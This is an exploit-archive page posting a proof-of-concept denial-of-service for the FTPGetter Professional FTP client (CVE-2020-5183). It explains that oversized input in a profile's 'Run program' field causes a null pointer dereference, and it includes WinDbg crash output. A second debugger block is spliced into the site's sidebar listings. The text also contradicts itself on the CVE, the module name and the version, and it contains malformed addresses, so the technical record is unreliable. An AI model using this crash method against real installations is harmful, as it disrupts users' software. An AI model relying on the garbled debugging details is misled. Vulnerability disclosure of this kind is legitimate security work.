

FTPGetter Professional 5.97.0.223 Denial Of Service

Authored by [FULLSHADE](#)

Posted Jan 3, 2020

FTPGetter Professional version 5.97.0.223 null pointer dereference denial of service proof of concept exploit.

tags | [exploit](#), [denial of service](#), [proof of concept](#)

advisories | [CVE-2020-5183](#)

SHA-256 | [0f23a384248b6ee8b1fe67573a5c0fafa48373872c6531971479e497fdd8f17e](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

[Change Mirror](#)
[Download](#)

```

# Exploit Title: FTPGetter Professional 5.97.0.223 - Denial of Service (PoC)
# Google Dork: N/A
# Date: 2020-01-03
# Exploit Author: FULLSHADE
# Vendor Homepage: https://www.ftpgetter.com/
# Software Link: https://www.ftpgetter.com/ftpgetter_pro_setup.exe
# Version: v.5.97.0.223
# Tested on: Windows 7
# CVE : N/A

-----
THE BUG : NULL pointer dereference -> DOS crash
-----

The FTPGetter Professional v.5.97.0.223 FTP client suffers from a
NULL pointer dereference vulnerability via the program not properly
handling user input when setting the field "Run program" under
profile properties, it triggers when executing the profile.

-----
DISCLOSURE : Vendor contacted : MITRE assignment : CVE-2020-5183
-----
...
-----
WINDBG ANALYSIS AFTER SENDING 50,000 'A' BYTES
-----

(b84.e88): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=02f3d0 ecx=00000000 edx=00000030 esi=00000000 edi=00000001
eip=00855994 esp=0012fbd0 ebp=0012f6c6 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FTPGetter.exe -
FTPGetter!Xtermforminitialization$qqrv+0x02d74:
00855994 8b5004      mov     edx,dword ptr [eax+4]
ds:0023:00000004=????????

0:000> !analyze -v
*****
*                                     *
*                               Exception Analysis                               *
*                                     *
*****

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ftpgcore.dll -
Failed calling InternetOpenUrl, GLE=12007

FAULTING_IP:
FTPGetter!Xtermforminitialization$qqrv+202d74
00855994 8b5004      mov     edx,dword ptr [eax+4]

EXCEPTION RECORD:  ffffffff -- (.exr 0xffffffffffff)
ExceptionAddress: 00855994 (FTPGetter!Xtermforminitialization$qqrv+0x0202d74)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
    Parameter[0]: 00000000
    Parameter[1]: 00000004
Attempt to read from address 00000004

FAULTING_THREAD:  00000e88

PROCESS_NAME:   FTPGetter.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x0081x referenced memory at 0x0081x. The memory could
not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x0081x referenced memory at 0x0081x. The memory
could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000004

READ_ADDRESS:  00000004

FOLLOWUP_IP:
FTPGetter!Xtermforminitialization$qqrv+202d74
00855994 8b5004      mov     edx,dword ptr [eax+4]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

BUGCHECK_STR:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_NULL_POINTER_READ_INVALID_POINTER_READ

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE

LAST_CONTROL_TRANSFER:  from 00812591 to 00855994

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fec6 00812591 0085d350 0085d355 0046d181 FTPGetter!Xtermforminitialization$qqrv+0x202d74
0012fec6 0079ff01 0012fd24 00000000 007a15e2 FTPGetter!Xtermforminitialization$qqrv+0x1bf971
0012fec6 007a7780 0012fec6 007a778a 0012fd1c FTPGetter!Xtermforminitialization$qqrv+0x14d3a1
0012fec6 0068fd46 00000111 00000030 00000000 FTPGetter!Xtermforminitialization$qqrv+0x14fdb0
0012fd34 7688c267 001f0320 00000111 00000030 FTPGetter!Xtermforminitialization$qqrv+0x3d186
0012fd60 7688c367 00250f60 001f0320 00000111 user32!InternalCallWinProc+0x23
0012fd68 7688c399 00000000 00250f60 001f0320 user32!UserCallWinProcCheckWow+0x14b
0012fe38 7688c9f0 00250f60 00000000 001f0320 user32!DispatchMessageWorker+0x357
0012fe48 007dec94 0012fec6 00120100 0012feb8 user32!DispatchMessageW+0xf
0012fe64 007decd7 001f0320 00000111 00000030 FTPGetter!Xtermforminitialization$qqrv+0x18c074
0012fe68 007df014 0012feb8 007df020 0012feb8 FTPGetter!Xtermforminitialization$qqrv+0x18c0b7
0012feb8 00404674 00000000 00e75048 015c26bb FTPGetter!Xtermforminitialization$qqrv+0x18c3f6
0012ff50 00aae2b 00400000 00000000 015c26bb FTPGetter!_GetExceptDLLInfo+0x112f
0012ff58 7509ef3c 7ffdc000 0012ff64 77003688 FTPGetter!mdTraceProcess+0x3cef7
0012ff94 77003688 7ffdc000 00000000 kernel32!BaseThreadInitThunk+0xe
0012ff94 7700365b 004034ec 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x7b
0012ffec 00000000 004034ec 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x1b

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  ftpgetter!Xtermforminitialization$qqrv+202d74

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME:  FTPGetter

```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags


ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	

File Archives


File Upload (946)	Systems
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

```
IMAGE_NAME: FTPGetter.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 5dffa0bd
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; -0s ; kb
FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_c0000005_FTPGetter.exe!Xtermforminitialization$ggrv
BUCKET_ID:
APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_NULL_POINTER_READ_INVALID_POINTER_READ_ftpgetter!Xtermforminitiali:
WATSON_STAGEONE_URL:
http://watson.microsoft.com/StageOne/FTPGetter_exe/5_97_0_221/5dffa0bd/FTPGetter_exe/5_97_0_221/5dffa0bd/c0000005
Retriage=1
Followup: MachineOwner
-----
NULL pointer
FOLLOWUP_IP:
REDfpt!Xtermforminitialization$ggrv+202d74
00855994 8b5004 mov edx,dword ptr [eax+4]
Stepping into and running
eax=04e8fc78 ebx=004db6b4 ecx=0000000a edx=41414141 esi=02871ae0 edi=00000000
eip=004db97a esp=04e8fc74 ebp=04e8fec0 iopl=0 nv up ei pl zr ac pe nc
cs=001b  ss=0023  ds=0023  ea=0023  fs=003b  gs=0000             efl=00010216
REDfpt!GetFTPVValidation@0x6e842:
004db97a 837a5400 cmp dword ptr [edx+54h],0 ds:0023:41414195=????????
=====
CVE-2020-5183 is a NULL pointer dereference vulnerability
=====
```

- [Spoof \(2,166\)](#)[SUSE \(1,444\)](#)
- [SQL Injection \(16,102\)](#)[Ubuntu \(8,199\)](#)
- [TCP \(2,379\)](#)[UNIX \(9,159\)](#)
- [Trojan \(686\)](#)[UnixWare \(185\)](#)
- [UDP \(876\)](#)[Windows \(6,511\)](#)
- [Virus \(662\)](#)[Other](#)
- [Vulnerability \(31,136\)](#)
- [Web \(9,365\)](#)
- [Whitepaper \(3,729\)](#)
- [x86 \(946\)](#)
- [XSS \(17,494\)](#)
- [Other](#)



[Login](#) or [Register](#) to add favorites



Site Links


- [News by Month](#)
- [News Tags](#)
- [Files by Month](#)
- [File Tags](#)
- [File Directory](#)


About Us

- [History & Purpose](#)
- [Contact Information](#)
- [Terms of Service](#)
- [Privacy Statement](#)
- [Copyright Information](#)

Hosting By

- [Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)